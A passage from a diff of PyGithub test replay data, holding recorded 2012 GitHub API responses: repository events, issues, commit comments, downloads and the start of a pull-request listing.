Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/2c04b8adbd91d38eef4f0767337ab7a12b2f684b","distinct":true,"message":"Allow test without pre-set-up Github"},{"sha":"5b97389988b6fe43e15a079702f6f1671257fb28","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/5b97389988b6fe43e15a079702f6f1671257fb28","distinct":true,"message":"Test three authentication schemes"},{"sha":"12747613c5ec00deccf296b8619ad507f7050475","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/12747613c5ec00deccf296b8619ad507f7050475","distinct":true,"message":"Test Issue.getComments"},{"sha":"2982fa96c5ca75abe717d974d83f9135d664232e","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/2982fa96c5ca75abe717d974d83f9135d664232e","distinct":true,"message":"Test the new Repository.full_name attribute"},{"sha":"619eae8d51c5988f0d2889fc767fa677438ba95d","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/619eae8d51c5988f0d2889fc767fa677438ba95d","distinct":true,"message":"Improve coverage of AuthenticatedUser"}]},"id":"1556114751","created_at":"2012-05-26T10:01:39Z"},{"type":"IssuesEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/jacquev6/PyGithub","name":"jacquev6/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"action":"closed","issue":{"number":29,"created_at":"2012-05-25T11:47:59Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"","comments":0,"title":"Publish version 0.7","updated_at":"2012-05-25T17:32:32Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/29","id":4752048,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":{"number":5,"due_on":"2012-05-26T07:00:00Z","created_at":"2012-05-25T11:47:06Z","title":"Version 0.7","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/5","id":124045,"closed_issues":2,"open_issues":0,"description":"","state":"closed"},"closed_at":"2012-05-25T17:32:32Z","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"labels":[{"name":"Project management","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","color":"444444"}],"html_url":"https://github.com/jacquev6/PyGithub/issues/29","state":"closed"}},"id":"1555940993","created_at":"2012-05-25T17:32:33Z"},{"type":"IssuesEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/jacquev6/PyGithub","name":"jacquev6/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"action":"closed","issue":{"number":15,"created_at":"2012-03-13T06:24:05Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"One would want to use the API without authentication, with login+password, and with OAuth token. Let's cover these use-cases.","comments":1,"title":"Implement all authentication schemes","updated_at":"2012-05-25T17:32:31Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/15","id":3624575,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":{"number":5,"due_on":"2012-05-26T07:00:00Z","created_at":"2012-05-25T11:47:06Z","title":"Version 0.7","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/5","id":124045,"closed_issues":2,"open_issues":0,"description":"","state":"closed"},"closed_at":"2012-05-25T17:32:31Z","labels":[{"name":"Functionalities","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","color":"e102d8"}],"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"html_url":"https://github.com/jacquev6/PyGithub/issues/15","state":"closed"}},"id":"1555940986","created_at":"2012-05-25T17:32:33Z"},{"type":"CreateEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/jacquev6/PyGithub","name":"jacquev6/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"master_branch":"master","ref_type":"tag","ref":"v0.7","description":"Python library implementing the full Github API v3"},"id":"1555936661","created_at":"2012-05-25T17:19:48Z"},{"type":"DeleteEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/jacquev6/PyGithub","name":"jacquev6/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"ref_type":"branch","ref":"topic/Authentication"},"id":"1555936660","created_at":"2012-05-25T17:19:48Z"},{"type":"PushEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/jacquev6/PyGithub","name":"jacquev6/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"head":"ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","size":4,"push_id":80573368,"ref":"refs/heads/master","commits":[{"sha":"5bb654d26dd014d36794acd1e6ecf3736f12aad7","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/5bb654d26dd014d36794acd1e6ecf3736f12aad7","distinct":false,"message":"Implement the three authentication schemes"},{"sha":"cb0313157bf904f2d364377d35d9397b269547a5","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/cb0313157bf904f2d364377d35d9397b269547a5","distinct":false,"message":"Merge branch 'topic/Authentication' into develop"},{"sha":"0cec0d25e606c023a62a4fc7cdc815309ebf6d16","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/0cec0d25e606c023a62a4fc7cdc815309ebf6d16","distinct":false,"message":"Publish version 0.7"},{"sha":"ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","distinct":true,"message":"Merge branch 'develop'"}]},"id":"1555936659","created_at":"2012-05-25T17:19:48Z"},{"type":"PushEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/jacquev6/PyGithub","name":"jacquev6/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"head":"0cec0d25e606c023a62a4fc7cdc815309ebf6d16","size":3,"push_id":80573367,"commits":[{"sha":"5bb654d26dd014d36794acd1e6ecf3736f12aad7","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/5bb654d26dd014d36794acd1e6ecf3736f12aad7","distinct":false,"message":"Implement the three authentication schemes"},{"sha":"cb0313157bf904f2d364377d35d9397b269547a5","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/cb0313157bf904f2d364377d35d9397b269547a5","distinct":false,"message":"Merge branch 'topic/Authentication' into develop"},{"sha":"0cec0d25e606c023a62a4fc7cdc815309ebf6d16","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/0cec0d25e606c023a62a4fc7cdc815309ebf6d16","distinct":false,"message":"Publish version 0.7"}],"ref":"refs/heads/develop"},"id":"1555936657","created_at":"2012-05-25T17:19:47Z"},{"type":"CreateEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/jacquev6/PyGithub","name":"jacquev6/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"master_branch":"master","ref":"topic/Authentication","description":"Python library implementing the full Github API v3","ref_type":"branch"},"id":"1555833283","created_at":"2012-05-25T12:24:21Z"},{"type":"IssuesEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/jacquev6/PyGithub","name":"jacquev6/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"action":"opened","issue":{"number":29,"created_at":"2012-05-25T11:47:59Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"","title":"Publish version 0.7","comments":0,"updated_at":"2012-05-25T11:47:59Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/29","id":4752048,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":{"number":5,"created_at":"2012-05-25T11:47:06Z","due_on":"2012-05-26T07:00:00Z","title":"Version 0.7","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/5","id":124045,"open_issues":2,"closed_issues":0,"description":"","state":"open"},"closed_at":null,"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"html_url":"https://github.com/jacquev6/PyGithub/issues/29","labels":[{"name":"Project management","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","color":"444444"}],"state":"open"}},"id":"1555822981","created_at":"2012-05-25T12:02:48Z"},{"type":"IssueCommentEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/jacquev6/PyGithub","name":"jacquev6/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"comment":{"created_at":"2012-05-25T06:31:42Z","body":"It means that there will be three ways to create an instance of the Github class:\n github = Github()\n github = Github( login, password )\n github = Github( oauth_token )\n","updated_at":"2012-05-25T06:31:42Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/5924198","id":5924198,"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},"action":"created","issue":{"number":15,"created_at":"2012-03-13T06:24:05Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"comments":1,"body":"One would want to use the API without authentication, with login+password, and with OAuth token. Let's cover these use-cases.","title":"Implement all authentication schemes","updated_at":"2012-05-25T06:31:42Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/15","id":3624575,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":null,"closed_at":null,"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"labels":[{"name":"Functionalities","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","color":"e102d8"}],"html_url":"https://github.com/jacquev6/PyGithub/issues/15","state":"open"}},"id":"1555742639","created_at":"2012-05-25T06:31:42Z"},{"type":"WatchEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/jacquev6/PyGithub","name":"jacquev6/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"action":"started"},"id":"1555738288","created_at":"2012-05-25T06:05:21Z"},{"type":"PushEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/jacquev6/PyGithub","name":"jacquev6/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"head":"527ce7459a2e60d1536883f19b9bc6850d71127b","size":5,"push_id":79877715,"commits":[{"sha":"287bc541542f9d32339e7dd4b36a511cab2ebdae","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/287bc541542f9d32339e7dd4b36a511cab2ebdae","distinct":true,"message":"Generate more coverage information"},{"sha":"588a4a9a355096c00a2bb25f27664d2115e120ac","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/588a4a9a355096c00a2bb25f27664d2115e120ac","distinct":true,"message":"Test AuthenticatedUser watching"},{"sha":"815720f0deb376c34166c27b6e3b73e5c1f5b1a3","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/815720f0deb376c34166c27b6e3b73e5c1f5b1a3","distinct":true,"message":"Test Authorization"},{"sha":"473c92adcd8bbbd32003d9c65666ede66059551b","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/473c92adcd8bbbd32003d9c65666ede66059551b","distinct":true,"message":"Test Download and CommitComment"},{"sha":"527ce7459a2e60d1536883f19b9bc6850d71127b","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/527ce7459a2e60d1536883f19b9bc6850d71127b","distinct":true,"message":"Merge commit 'c93f9cc8484b7' into topic/RewriteWithGeneratedCode\n\nConflicts:\n\ttest/IntegrationTest.py"}],"ref":"refs/heads/topic/RewriteWithGeneratedCode"},"id":"1554729420","created_at":"2012-05-22T19:59:48Z"},{"type":"DownloadEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/jacquev6/PyGithub","name":"jacquev6/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"download":{"name":"Foobar.txt","size":1024,"created_at":"2012-05-22T19:15:29Z","content_type":"text/plain","download_count":0,"url":"https://api.github.com/repos/jacquev6/PyGithub/downloads/242562","id":242562,"description":null,"html_url":"https://github.com/downloads/jacquev6/PyGithub/Foobar.txt"}},"id":"1554712197","created_at":"2012-05-22T19:15:30Z"},{"type":"DownloadEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/jacquev6/PyGithub","name":"jacquev6/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"download":{"name":"Foobar.txt","size":1024,"created_at":"2012-05-22T19:11:49Z","content_type":"text/richtext","download_count":0,"url":"https://api.github.com/repos/jacquev6/PyGithub/downloads/242556","id":242556,"description":"Download created by PyGithub","html_url":"https://github.com/downloads/jacquev6/PyGithub/Foobar.txt"}},"id":"1554710791","created_at":"2012-05-22T19:11:49Z"},{"type":"DownloadEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/jacquev6/PyGithub","name":"jacquev6/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"download":{"name":"Foobar.txt","created_at":"2012-05-22T18:58:32Z","size":1024,"content_type":"text/plain","url":"https://api.github.com/repos/jacquev6/PyGithub/downloads/242550","download_count":0,"id":242550,"description":null,"html_url":"https://github.com/downloads/jacquev6/PyGithub/Foobar.txt"}},"id":"1554705673","created_at":"2012-05-22T18:58:32Z"},{"type":"CommitCommentEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/jacquev6/PyGithub","name":"jacquev6/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"comment":{"position":19,"created_at":"2012-05-22T18:53:25Z","line":211,"body":"Foobar","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","updated_at":"2012-05-22T18:53:25Z","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1362020","id":1362020,"path":"src/github/AuthenticatedUser.py","html_url":"https://github.com/jacquev6/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1362020","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}}},"id":"1554703698","created_at":"2012-05-22T18:53:25Z"},{"type":"CommitCommentEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/jacquev6/PyGithub","name":"jacquev6/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"comment":{"position":3,"created_at":"2012-05-22T18:50:02Z","line":null,"body":"Comment also created by PyGithub","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","updated_at":"2012-05-22T18:50:02Z","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1362001","id":1362001,"path":"codegen/templates/GithubObject.MethodBody.UseResult.py","html_url":"https://github.com/jacquev6/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1362001","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}}},"id":"1554702296","created_at":"2012-05-22T18:50:02Z"},{"type":"CommitCommentEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/jacquev6/PyGithub","name":"jacquev6/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"comment":{"position":null,"created_at":"2012-05-22T18:49:34Z","line":26,"body":"Comment created by PyGithub","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","updated_at":"2012-05-22T18:49:34Z","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1362000","id":1362000,"path":"codegen/templates/GithubObject.MethodBody.UseResult.py","html_url":"https://github.com/jacquev6/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1362000","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}}},"id":"1554702087","created_at":"2012-05-22T18:49:34Z"},{"type":"CommitCommentEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/jacquev6/PyGithub","name":"jacquev6/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"comment":{"position":null,"created_at":"2012-05-22T18:40:18Z","body":"Comment created by PyGithub","line":null,"commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","updated_at":"2012-05-22T18:40:18Z","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1361949","id":1361949,"path":null,"html_url":"https://github.com/jacquev6/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1361949","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}}},"id":"1554698320","created_at":"2012-05-22T18:40:18Z"}] - diff --git a/tests/ReplayData/Repository.testGetPulls.txt b/tests/ReplayData/Repository.testGetPulls.txt index dbef9adfbe..65688ed997 100644 --- a/tests/ReplayData/Repository.testGetPulls.txt +++ b/tests/ReplayData/Repository.testGetPulls.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4930'), ('content-length', '4057'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"a659c559e34da168eba22cba60faf027"'), ('date', 'Sun, 27 May 2012 10:59:02 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"title":"Creation of a pull request from an issue is not covered by integration tests","state":"open","merged_at":null,"updated_at":"2012-05-27T10:58:41Z","head":{"user":null,"repo":{"description":"Python library implementing the full Github API v3","full_name":"BeaverSoftware/PyGithub","has_wiki":false,"has_issues":false,"updated_at":"2012-05-27T10:58:08Z","forks":0,"mirror_url":null,"homepage":"http://vincent-jacques.net/PyGithub","ssh_url":"git@github.com:BeaverSoftware/PyGithub.git","open_issues":0,"fork":true,"svn_url":"https://github.com/BeaverSoftware/PyGithub","pushed_at":"2012-05-27T10:58:08Z","size":176,"html_url":"https://github.com/BeaverSoftware/PyGithub","private":false,"url":"https://api.github.com/repos/BeaverSoftware/PyGithub","clone_url":"https://github.com/BeaverSoftware/PyGithub.git","owner":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","url":"https://api.github.com/users/BeaverSoftware","login":"BeaverSoftware","id":1424031},"name":"PyGithub","has_downloads":true,"language":"Python","watchers":1,"git_url":"git://github.com/BeaverSoftware/PyGithub.git","id":4460787,"created_at":"2012-05-27T08:50:04Z"},"label":"BeaverSoftware:master","sha":"aff8a573a19f0a42380e1c0cbbc63b6dc719f38e","ref":"master"},"body":"","number":32,"_links":{"comments":{"href":"https://api.github.com/repos/jacquev6/PyGithub/issues/32/comments"},"issue":{"href":"https://api.github.com/repos/jacquev6/PyGithub/issues/32"},"self":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/32"},"review_comments":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/32/comments"},"html":{"href":"https://github.com/jacquev6/PyGithub/pull/32"}},"closed_at":null,"diff_url":"https://github.com/jacquev6/PyGithub/pull/32.diff","html_url":"https://github.com/jacquev6/PyGithub/pull/32","url":"https://api.github.com/repos/jacquev6/PyGithub/pulls/32","issue_url":"https://github.com/jacquev6/PyGithub/issues/32","id":1436310,"base":{"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"repo":{"description":"Python library implementing the full Github API 